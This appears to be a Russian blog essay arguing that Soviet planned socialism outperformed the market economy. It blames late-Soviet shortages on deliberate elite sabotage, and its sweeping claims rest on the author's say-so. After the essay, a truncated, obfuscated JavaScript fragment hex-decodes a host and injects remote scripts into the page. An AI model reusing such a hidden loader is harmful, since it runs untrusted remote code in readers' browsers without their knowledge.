Заметки о наболевшем.

Заметки о наболевшем.

«Что мы потеряли и что приобрели в результате буржуазной
либерально-демократической контрреволюции в России?

«Хотели как лучше, а получилось как всегда»
В.С. Черномырдин

Начало девяностых. Борьба противоположностей, огромный поток негативной информации о теневых делах верхушки власти в СССР, захлестнувший население страны с небывалой откровенностью, шараханье из одной крайности в другую, сочетающееся со сломом ранее действовавшего политического и экономического механизмов управления государством, долгими и мучительными поисками выходов из сложившейся ситуации, сопутствующее этому непримиримое столкновение сторонников старого и нового путей развития нашего общества, «шоковая терапия» почитателей «рыночной экономики», обилие экономических терминов без, соответствующего разъяснения, сопровождающееся обещаниями быстро решить все экономические проблемы: «дать политическую и экономическую свободы, накормить народ, обеспечить счастливое, безбедное существование в будущем».
Всё это можно назвать одной простой фразой: «Битва за власть в постсоветской России», а проще, буржуазная либерально-демократическая контрреволюция в России.

Прошло более двадцати лет с момента, когда новое, «демократическое» руководство России отказалось от социалистического пути развития нашего государства и под неусыпным контролем МВФ и «доброжелателей» из госдепартамента США взяло курс на построение «рыночной экономики» в России.
В обществе всё острее и острее встаёт вопрос о том, так уж ли плоха была плановая социалистическая экономика, как её представляли и представляют сейчас сторонники либеральной экономики – хозяева новой России? Что мы потеряли, отступив от социалистического пути развития нашего общества, и что приобрели, избрав новый путь, характеризуемый как «либеральная экономика»? Полностью ли понимал простой народ Советского Союза, что представляет из себя «рыночная экономика», что они получат от проводимых в стране радикальных преобразований, а что потеряют?

Сегодня простой народ на себе почувствовал действие новой экономической политики и у него возникла возможность реально, на своём личном жизненном опыте самостоятельно, осознано сравнить социалистический и рыночный способы экономического развития.

Разве думал российский народ, слушая в 1991 году многообещающие заверения «демократов» о сладкой жизни при «рыночной экономике», что из-за этой самой «рыночной экономики» ему не всегда и с большими задержками будут выплачивать его заработную плату, будут предлагать получать зарплату в конверте, чтобы не вносить причитающиеся для него взносы в Пенсионный фонд, что за полученную по приватизации, почти прошедшую свой срок эксплуатации, «хрущёвку», придётся платить в качестве коммунальных платежей не как в Советском Союзе, не более 13% от дохода семьи, а значительно больше, почти сумму месячного содержания, что ему придётся платить и за свет в подъезде и подвале своего многоквартирного дома, за потери воды из-за сломавшихся и не ремонтируемых управляющей компанией задвижек, кранов, клапанов в подвале его многоквартирного дома? Разве думал простой советский человек, презрительно обзываемый «новыми русскими» - поклонниками западного образа жизни, «совком», что ему придется платить за лечение своей семьи, за обучение детей в школе и ВУЗе огромные денежные суммы, равнозначные его скудной зарплате за несколько лет?

Когда поклонники либеральной экономики, начинают всячески хаять социалистический способ развития нашего общества, ставя знак тождества между понятием «социализм» и понятиями «репрессии» и «тоталитаризм», становится понятно, что эти господа до икоты боятся, что народ России наконец-то окончательно поймёт, что стоит их хваленый либерализм с «рыночной экономикой», и погонит их метлой.

Давайте посмотрим на «социалистическое общество», построенное Советским Союзом, отдельно, не оценивая то, как это общество строилось. Если говорить о «социализме», как об учение о способе развития общества, абстрагировавшись от процедуры приведения этой теории в жизнь, то есть, от процедуры построения социализма, то действительно, причём здесь сталинские репрессии, авторитарный метод управления нашим государством, о которых так громко и много лет назойливо кричат противники социалистического способа развития нашего общества?

Рассуждая на эту тему, хочу акцентировать внимание на том, что исполнение любой политической теории, приведение её в практическую реальность в нашем государстве всегда было больным местом. И недаром в России бытует поговорка «о плохих дорогах и, мягко говоря, плохих исполнителях у власти».

Обусловлено это было многими объективными и субъективными факторами. Это и трудности в управлении государством, из-за огромной территории и отдаленности центральной власти, это и правовой нигилизм населения России, это и чрезмерные потребительские амбиции и политическое непостоянство «элиты» нашего общества.

Ну продолжим о социализме.
Притягательность «социализма», как учения о способе развития общества, заключается в том, что, «социализм», преследует исключительно благородную цель – построить общество социальной справедливости и свободы, с равными правами (политическими, экономическими, юридическими) всех членов общества.
Попытки построить общество социальной справедливости предпринимались неоднократно.

Но только в Советском Союзе впервые в истории человек наиболее реально приблизился к вековой мечте о построении общества социальной справедливости.
Здесь я ещё раз подчёркиваю, что мы специально не будем брать во внимание все негативные моменты, имевшие место при осуществлении строительства социализма в СССР, поскольку само учение, как идея, и процедура приведения этой идеи в жизнь – это разные категории, мы решили оценивать их самостоятельно, отдельно друг от друга.

Гражданам СССР были предоставлены многочисленные права во всех сферах его жизнедеятельности, которые не только просто декларировались Конституцией СССР, но и дополнительно детально регламентировались в специальных законах. Соблюдение конституционных прав граждан было гарантировано материально.
К примеру, право гражданина СССР на охрану его здоровья гарантировалось практической возможностью лечиться в медицинских учреждениях СССР бесплатно.
Проводилась очень продуманная демографическая политика, которая содержала в себе комплекс мероприятий по поощрению рождаемости в стране. Для многодетных семей, одиноких матерей было предусмотрено первоочередное предоставление жилых помещений. Родители, имеющие несовершеннолетних детей, имели существенные трудовые льготы. Увольнение таких родителей по инициативе администрации предприятия не допускалось. В густонаселенных районах страны специально создавались новые предприятия для трудовой занятости населения. Решались проблемные социальные вопросы по обустройству жизни на малонаселенных территориях.

Сегодня весь мир признаёт, что качество среднего и высшего образования в СССР было одним из лучших в мире. Это образование граждане СССР получали бесплатно. Выпускники ВУЗов были востребованы. Функционировала система распределения выпускников высших, средних специальных, средних технических учебных заведений по местам трудоустройства. При этом учитывалась возможность и желание выпускника поехать к назначенному месту работы. Выпускники учебных заведений, приехавшие по распределению к месту работы, обеспечивались во внеочередном порядке жилыми помещениями, а дети выпускников местами в детских дошкольных учреждениях. Им выплачивались «подъемные» - материальные денежные выплаты для обустройства по месту жительства. В сельской местности учителя и медицинские работники имели дополнительные льготы, позволяющие раньше выйти на пенсию.

Проводилась очень продуманная молодежная политика.

Я назвал только самую маленькую часть их всех социальных завоеваний, направленных на улучшение качества жизни человека в Советском государстве. Если перечислять всё, то это будет очень долго.
Можно сказать просто, что всё советское законодательство было направлено в первую очередь на защиту прав человека – гражданина СССР, а деятельность правительства и государственного аппарата СССР, являющегося звеном в едином народно-хозяйственном механизме, была направлена на повышение благосостояния всего населения нашего государства, а не только её «элиты».

Те, кто в зрелые годы жил в СССР, это могут вспомнить. А те, кто забыл или не может, в силу малолетнего возраста, оценить качество имеющихся у населения гражданских прав в СССР, могут обратиться к законодательству СССР и пополнить самостоятельно свои знания об этом историческом периоде нашего государства. Но самостоятельно, без помощников от российских «либералов».

Каждый желающий и интересующийся может в интернете посмотреть Конституции СССР, РСФСР, КЗОТ РСФСР, другие кодексы, подзаконные акты и убедиться в этом.
Но самое главное заключалось в том, что Советское государство, взяв на себя все функции по ведению народного хозяйства, по решению практически всех социальных проблем населения, по бесплатному повышению образовательного уровня населения, по бесплатному медицинскому обслуживанию населения, по бесплатному решению жилищной проблемы, фактически освободило население страны от непростых, материально затратных, трудоёмких забот по обеспечению своего существования.

Если говорить более доступным языком, трудоемкая, дорогостоящая обязанность по организации производства и других видов хозяйственной деятельности была возложена на государство, а не на человека. Государство, его правительство, являлись единым народнохозяйственным механизмом, деятельность которого была направлена на обслуживание интересов населения

«Ну и что в этом хорошего?», - скажут скептики от «либералов», - «частный собственник может организовать производство не хуже государства».

Попробуем ответить доходчиво, простым, не научным языком, понятным простому человеку.

Примерно 90% население планеты обеспечивает своё существования за счёт продажи своего труда. Это те, кто лично желает заниматься коммерческой деятельностью, но не может это делать, из-за отсутствия средств, и те, кто совсем не желает каким-либо образом обременять себя заботами по организации частного производства, ведению какой-нибудь коммерческой деятельности, а желает продать свой труд, получив за это достойную зарплату. Первых значительно меньше чем вторых.

Исходя из этого, можно достаточно уверенно сказать, что большинство населения Земли, и России, в том числе, сами не желают заниматься хозяйственной деятельностью, связанной с организацией производства, надеясь на то, что это будет делать государство либо кто-нибудь из тех граждан, кто любит, желает и имеет материальную возможность этим заниматься.

В СССР большинство министерств союзного и республиканского правительств являлись руководящим органом конкретной отрасли народного хозяйства (выполняя функции дирекций), в своей структуре имели подчиненные организации, предприятия. Всё это функционировало как единый механизм, как одно большое предприятие.

При такой форме производства руководство деятельностью всего этого огромного предприятия допускало административные способы управления, что, в сравнении с «рыночной экономикой», позволяет более оперативнее мобилизовать всё хозяйство на решение проблемных задач производства и государственных задач, менять стратегию, приоритеты направления деятельности, более быстро получить итоговый результат.

Государство могло организовывать производственную деятельность на всей своей территории равномерно, таким образом, чтобы были удовлетворены интересы населения всей страны.

Если нужно было принять решение о развитие какого-нибудь региона, где, к примеру, нашли перспективное месторождение полезных ископаемых, то государство, руководствуясь принципом целесообразности, принимало решение по строительству в этом месте населенных пунктов со всей инфраструктурой, государственных предприятий и т.д.

И положительный результат от такой деятельности государства увидел каждый гражданин СССР.

Люди действительно почувствовали на себе заботу государства. Получив бесплатно образование, жильё, имея бесплатное медицинское обслуживание, любимую работу, стабильную, без перерывов, дифференцированную заработную плату, имея возможность посвятить себя творчеству, воспитанию детей, многие люди заявляли, что, являясь гражданами СССР, они спокойны за будущее своей семьи, уверены в завтрашнем дне, так как государство обеспечивает их всем необходимым для их безбедного существования сейчас и в будущем. Образовалась общность - «советский народ». Не было национальных конфликтов.

Некоторые руководители были даже обеспокоены тем, что у части населения страны формируются иждивенческие формы поведения, эта часть населения требовала соблюдения своих прав, но забывали про свои обязанности.

Ну и что плохого увидели в этом всем наши либералы? Что плохого в том, что люди стремились создать общество социальной справедливости, стремились к свободе, равенству прав?

Конечно сразу же найдутся критики моей позиции по обсуждаемому вопросу, которые будут кричать о пустых прилавках магазинов в СССР, о плохом качестве обуви, одежды, об отсутствии в достаточном количестве автомобилей.
Несмотря на то, что, начиная писать эту статью, мы договорились не обсуждать процедуру построения социализма в СССР, отвечу им, опираясь на свои личные наблюдения.

К концу 70-х, в начале 80-х годов, в СССР, в зависимости от потребностей населения, в достаточном количестве производили холодильники, телевизоры, стиральные машинки, другую бытовую технику. Производились в достаточном количестве и продукты питания: хлеб, мясо, мясная продукция, молоко, молочная продукция, фрукты, овощи. Было всё, что необходимо для обеспечения жизни человека.
Население СССР, практически каждая семья, имея уверенный материальный достаток, сбережения, позволяло себе купить всё, что они желали. Товарооборот был огромный.

Но к этому же времени в СССР сформировалась альтиметрическая «элита» общества, принадлежность к которой оценивалась по факту обладания реальной властью и влиянием, без жёсткой привязки к их интеллекту и морально-этическим качествам.

Помните сатирическую миниатюру А. Райкина «Дифицит», в которой звучат слова: «Ты мне, я тебе, мы оба уважаемые люди»? Кто не слушал, может послушать в интернете.

Так вот, эта самая «элита», прорвавшись к рычагам управления системой распределения продуктов и товаров, создавая коррупционные схемы, саботируя необходимость поставки товаров населению, искусственно создавали дифицит, с целью повышения своей значимости в обществе.

А к 1987 году саботаж поставки продуктов и других товаров первой необходимости для населения кроме того вызывался противниками социализма в СССР и с целью дискредитации социалистического образа жизни и его свержения, в связи с чем возникли пустые прилавки в магазинах.

Я сам являлся очевидцем таких фактов, когда в 1987 году на помойных свалках в окрестностях некоторых населенных пунктов обнаруживали партии испорченных продуктов питания, протухшие мясные туши, протухшую рыбу, множество коробок с прогорклым, заплесневевшим маслом, колбасой и т.д. А сколько таких фактов было по всей нашей огромной стране?

О том, что продуктов питания и других товаров перовой необходимости в 1982-1990 годах в СССР было в достаточном количестве, а была только искусственно парализована система их распределения, свидетельствует и то обстоятельство, что, несмотря на пустые прилавки в магазинах, каждая семья имела полный набор продуктов в своих холодильниках, самостоятельно доставая их тем способом, который озвучен А. Райкиным в названой выше сатирической миниатюре «Дефицит». Никто от голода в СССР в этот период времени не умер. Побывали бы вы, я обращаюсь к критикам соцстроя, в те времена на областных, краевых межрайбазах, на районных и городских складах торговых потребительских обществ, затоваренных по самые крыши, вы бы и сами могли в этом с успехом убедиться.

На примере успехов Советского Союза, в решении социальных проблем населения, хвалённые западные демократии вынуждены были перенимать положительный опыт решения социальных проблем населения. Стали возникать западные модели социализма, именуемые «Скандинавской моделью социализма», «Шведской моделью социализма».

В это же время рыночная экономика в современном обществе подвергается всё большей и большей критики, как не эффективная экономика, основанная на эгоизме, на погоне за выгодой, на игнорировании интересов большинства населения ради имущественной выгоды меньшинства, именуемого бизнес сообществом. По всему миру активно развивается антиглобалистское движение. Всё чаще и чаще последний мировой экономический кризис связывают с несовершенством и порочностью либеральной рыночной модели экономики.

При «рыночной экономике» государство и его правительство обеспечивают «либеральную» политику свободного рынка, согласно которой государственное вмешательство в экономику должно быть минимальным. Роль правительства сводится к защите прав субъектов экономической деятельности, а также созданию и поддержанию налоговой системы, которая обеспечивает существование государства. Некоторые приверженцы свободного рынка также возражают против налогообложения.

Здесь мы видим, что государство, его правительство в вопросах непосредственного руководства производственной деятельностью стоят отдельно от частного собственников и их предприятий.

Более того основная руководящая идея «рыночной экономики» не позволяет государству вмешиваться в руководство хозяйственной деятельностью частного предприятия, за исключением антимонопольной деятельности.

При таком управлении государство лишено рычагов управления производственной деятельностью частных предприятий. А значит, у государства нет возможности (кроме государственных заказов) влиять на стратегию, приоритеты направления деятельности предприятия, принадлежащего не государству.

Россия огромная по территории северная страна. Учитывая это, для обеспечения жизнедеятельности населения государства на всей его территории требуется функционирование огромного количества предприятий разного вида направлений деятельности.

Сегодня, идя по пути рыночной экономики, когда государства все больше и больше сбрасывает с себя бремя хозяйственной деятельности, отдавая государственные предприятия в частные руки, оно лишает себя возможности самостоятельно, силами государственных предприятий, решать хозяйственные задачи страны на тех территориях и в тех отраслях хозяйства, куда не желает вкладывать свой капитал частный бизнес.

А таких территорий и отраслей хозяйства в России, куда частный бизнес, учитывая метеорологические условия, огромную энергоёмкость и затратность, значительную отдалённость от центра, отвратительное качество наших дорог, а в большинстве северных территорий их полное отсутствие, не желает вкладывать свой капитал, ещё очень много.

Призывы правительства к частному бизнесу, об инвестировании средства в экономику этих территорий и отраслей хозяйства, в большинстве случаев получают отклик очень медленно и не всегда.

А решение нужно принимать быстро. Нужно решать социальные проблемы населения сегодня. Как быть в этих случаях, когда приказать частному бизнесу нельзя?

Вот здесь-то и ещё раз подтверждается большая эффективность социалистической плановой экономики.

Либералы могут возразить, заявив, а какая разница гражданину России на кого работать, на государство или на частного собственника?

Да вот только нет в достаточном количестве частных предприятий, чтобы каждого гражданина России можно было обеспечить рабочим местом. Большого желания создавать новые рабочие места у частного бизнеса России не наблюдается.

Сегодня российский народ уже в состоянии разобраться в этом вопросе самостоятельно и, я считаю, что этот выбор будет в не пользу частного предприятия.

Подводя итог сказанному, хочется сказать, что наши «либералы» специально путают «божий дар с яичницей», смешивая понятия «социализм», «репрессии», «авторитарный способ управления» в одну кучу, вводя, таким образом, неискушённую в теоретических экономических спорах народную аудиторию в заблуждение, отвлекая её от всё более и более проявляющихся пороков рыночной экономики.

На возможные возражения либералов по этому вопросу хочется спросить, а что процедуру строительства рыночной экономики в России можно назвать безупречной? Хотели (хочется надеяться) построить капитализм с человеческим лицом, а что получается? Создаётся впечатление, что наши либералы - стажёры Международного института прикладного системного анализа, разместившегося в Лаксенбургском замке, курируемого МВФ и западными спецслужбами, где проводится обучение технологиям строительства «рыночной экономики», затевая радикальные либеральные преобразования в России, посредством «шоковой терапии», не до конца понимали всю сложность этой затеи.

Со ссылкой на неестественность общественных отношений, имевших место при «социализме», для человеческого поведения, человеческой сущности, либералы уповали на то, что «рыночные отношения», как никакие другие, больше подходят человеческой натуре по её природе, подразумевая под этим, исходя из теории «экономического либерализма», что «рыночные отношения» не требуют со стороны государства такого тщательного регулирования как экономические отношения при социализме.

Помните, в начале 90-х ходила крылатая фраза, распространяемая сторонниками «рыночной экономики», «Моё не наше!»

При этом либералы подразумевали, вот придёт частный собственник, он как рачительный хозяин будет заботиться о принадлежащем ему предприятии. Будет решать все экономические проблемы в стране.

Сегодня можно уверенно сказать, что господа либералы глубоко заблуждались. На практике оказывается, что нерегулируемых экономик не бывает, что «рыночные отношения» требуют ничуть не меньшего регулирования, чем экономические отношения при социализме. Одно только антимонопольное законодательство скольких усилий и затрат стоит. А удержание курса доллара? А решение инвестиционных проектов?

Но самая главная проблема в другом. Разрушается производство. Хвалённый либералами частный собственник не желает создавать новые предприятия, реконструировать старые, в связи с чем основные средства изнашиваются, теряют свою работоспособность. Сегодня с опаской говорят о наступающей техногенной катастрофе.

Так что же лучше? Время всё рассудит. Вот только потеря времени стоит очень много. Для России эта потеря времени может повлечь утрату государственности.

P.S. Написав эту статью, я не преследую экстремистскую цель дестабилизации политической ситуации в России, не призываю к каким-нибудь революциям. Я противник любой «смуты» в России, так как знаю, что для наших любых российских революционеров, вне зависимости от их политических убеждений, всегда остается главным лозунг: «Весь мир насилья мы разрушим до основанья, а затем мы наш мы новый мир построим!». При этом либералы миром насилья считают социалистическое общество, а коммунисты миром насилия считают «рыночную экономику». До настоящего времени старое, и плохое, и хорошее, бездумно и безжалостно разрушалось до того, как было построено что-то новое, что влекло в первую очередь страдание простого народа.

Я же считаю, что по настоящему свободным можно быть только в таком обществе, когда защищены интересы всех, обеспечены права всех. Желающие иметь экономическую свободу (частные предприниматели), её имеют, обеспечивая своей экономической деятельностью часть потребностей населения. А там, где частные собственники не могут и не желают обеспечивать жизнедеятельность всего остального населения, государство само, создавая государственные корпорации, обеспечивает решение этих задач. Только разумное сочетание двух, указанных выше, экономических способов развития  может обеспечить растущие потребности современного развивающегося общества.
Что такое сочетание возможно доказывается мировой практикой.
Такой способ экономического развития успешно применяется нашими соседями – КНР.

<script type="text/javascript">// </script>

<script type="text/javascript">// </script>

<script type="text/javascript">// </script>

<script type="text/javascript">// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "maxpark.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script>